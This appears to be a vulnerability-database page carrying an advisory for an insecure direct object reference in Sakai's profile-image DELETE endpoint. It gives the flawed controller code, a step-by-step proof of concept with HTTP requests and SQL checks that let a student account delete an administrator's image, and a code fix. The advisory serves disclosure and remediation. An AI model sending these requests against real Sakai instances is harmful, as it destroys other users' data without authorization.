Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Network-accessible REST endpoint requiring only a valid session (PR:L, AV:N, AC:L); no confidentiality or availability impact; integrity is high as any authenticated user can permanently delete another user's profile data.
Primary rating from Vendor (https://github.com/sakaiproject/sakai).
CVSS VectorVendor: https://github.com/sakaiproject/sakai
Lifecycle Timeline
2Blast Radius
ecosystem impact- 3 maven packages depend on org.sakaiproject.profile2:profile2-api (3 direct, 0 indirect)
Ecosystem-wide dependent count for version 23.0.
DescriptionCVE.org
Summary
The Sakai REST API endpoint DELETE /api/users/{userId}/profile/image does not verify that the requesting user is authorized to modify the target user's profile. Any authenticated user can delete the profile image of any other user, including administrators, by supplying a different userId in the path. The service layer has no authorization check, and the delete cascades through Content Hosting Service (CHS) with a security advisor that bypasses all CHS permission checks.
Details
ProfileController.removeProfileImage() in the webapi module retrieves the current user's session but performs no comparison between the authenticated user and the target userId path parameter:
@DeleteMapping(value = "/users/{userId}/profile/image")
public ResponseEntity<String> removeProfileImage(@PathVariable String userId) {
String currentUserId = checkSakaiSession().getUserId();
if (currentUserId == null) {
return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
}
profileService.removeProfileImage(userId); // userId is attacker-controlled
return ResponseEntity.ok().build();
}ProfileServiceImpl.removeProfileImage() delegates directly to dao.removeProfileImage(userUuid) with no authorization check. The DAO calls profileImageUploadedRepository.deleteById(userId), removing the profile_images_t row unconditionally.
For contrast, the upload endpoint setProfileImage() correctly verifies ownership:
if (!sakaiProxy.isSuperUser() && !StringUtils.equals(currentUserUuid, userUuid)) {
throw new SecurityException("Not allowed to save.");
}This asymmetry means any authenticated user can delete but not upload over another user's profile image.
Additionally, the pronunciation recording delete endpoint (DELETE /api/users/{userId}/profile/pronunciation) has no checkSakaiSession() call at all, making it accessible without any authentication.
Setup:
- Admin user:
admin, with a custom profile image uploaded - Attacker:
student2(unprivileged user, SAKAIID cookie from authenticated session)
Step 1 - Admin uploads profile image (confirm non-default state):
POST /api/users/admin/profile/image HTTP/1.1
Cookie: SAKAIID=<admin-session>
Content-Type: application/x-www-form-urlencoded
base64=<base64-encoded-png>Response: {"status":"SUCCESS"}
Step 2 - Verify image exists in database:
SELECT USER_UUID, RESOURCE_MAIN FROM profile_images_t WHERE USER_UUID='admin';
-- Result: admin | /private/profileImages/admin/1/eb92b129-9b00-4978-aec3-be840455d8e9Step 3 - Attacker (student2) deletes admin's profile image:
DELETE /api/users/admin/profile/image HTTP/1.1
Host: localhost:9107
Cookie: SAKAIID=974996f4-e9c1-441c-9ab9-d3646aa5c754.9799861f31fbResponse: HTTP/1.1 200
Step 4 - Verify image is gone from database:
SELECT USER_UUID, RESOURCE_MAIN FROM profile_images_t WHERE USER_UUID='admin';
-- Result: (empty - row deleted)The attack succeeds. Student2's session is accepted by checkSakaiSession() (non-blank userId), and the target userId (admin) is passed directly to the service without any ownership check.
Impact
Any authenticated user (student, guest) can:
- Permanently delete the profile image of any other user, including administrators and instructors
- Repeatedly trigger deletion to prevent a target user from maintaining a profile picture
- In a university context where profile photos are used for identity verification in proctored exams or student directories, this could disrupt identity management workflows
The attack is trivially scriptable and can target all users on the platform in bulk.
Suggested Remediation
In ProfileController.removeProfileImage(), add an ownership check before calling the service:
@DeleteMapping(value = "/users/{userId}/profile/image")
public ResponseEntity<String> removeProfileImage(@PathVariable String userId) {
Session session = checkSakaiSession();
String currentUserId = session.getUserId();
if (currentUserId == null) {
return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
}
// Add this check:
if (!sakaiProxy.isSuperUser() && !currentUserId.equals(userId)) {
return ResponseEntity.status(HttpStatus.FORBIDDEN).build();
}
profileService.removeProfileImage(userId);
return ResponseEntity.ok().build();
}Apply the same ownership check in ProfileServiceImpl.removeProfileImage() for defense-in-depth, mirroring the pattern in setProfileImage().
For the pronunciation endpoint, add checkSakaiSession() and the same ownership check.
Status / timeline:
- 2026-06-02: Fix committed to master (
a092dbf3dc6bf343131f50007c207a9abd95e852) - Release pending.
AnalysisAI
Insecure Direct Object Reference in Sakai's profile2 REST API allows any authenticated user to permanently delete the profile image of any other user - including administrators - by supplying an arbitrary userId in the DELETE /api/users/{userId}/profile/image path parameter. The controller validates session existence but performs no ownership comparison, and the service layer passes the attacker-controlled userId directly to the DAO, which deletes the profile_images_t database row unconditionally. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The profile image delete endpoint requires only a valid authenticated Sakai session - any role qualifies, including student and guest accounts. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The NVD-assigned CVSS 3.1 score of 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N) accurately represents the threat profile: network-reachable, low complexity, requiring only a valid authenticated session. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | Full exploit scenario with step-by-step reproduction available after sign-in. |
| Remediation | For installations on the 23.x branch, upgrade profile2-api and profile2-impl to version 23.5, which contains the fix introduced in commit a092dbf3dc6bf343131f50007c207a9abd95e852 (https://github.com/sakaiproject/sakai/commit/a092dbf3dc6bf343131f50007c207a9abd95e852). … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m
Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti
Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent
Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug
JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up
Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up
The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow
Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla
The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during
Same technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-78875
GHSA-9284-fjc3-fmmj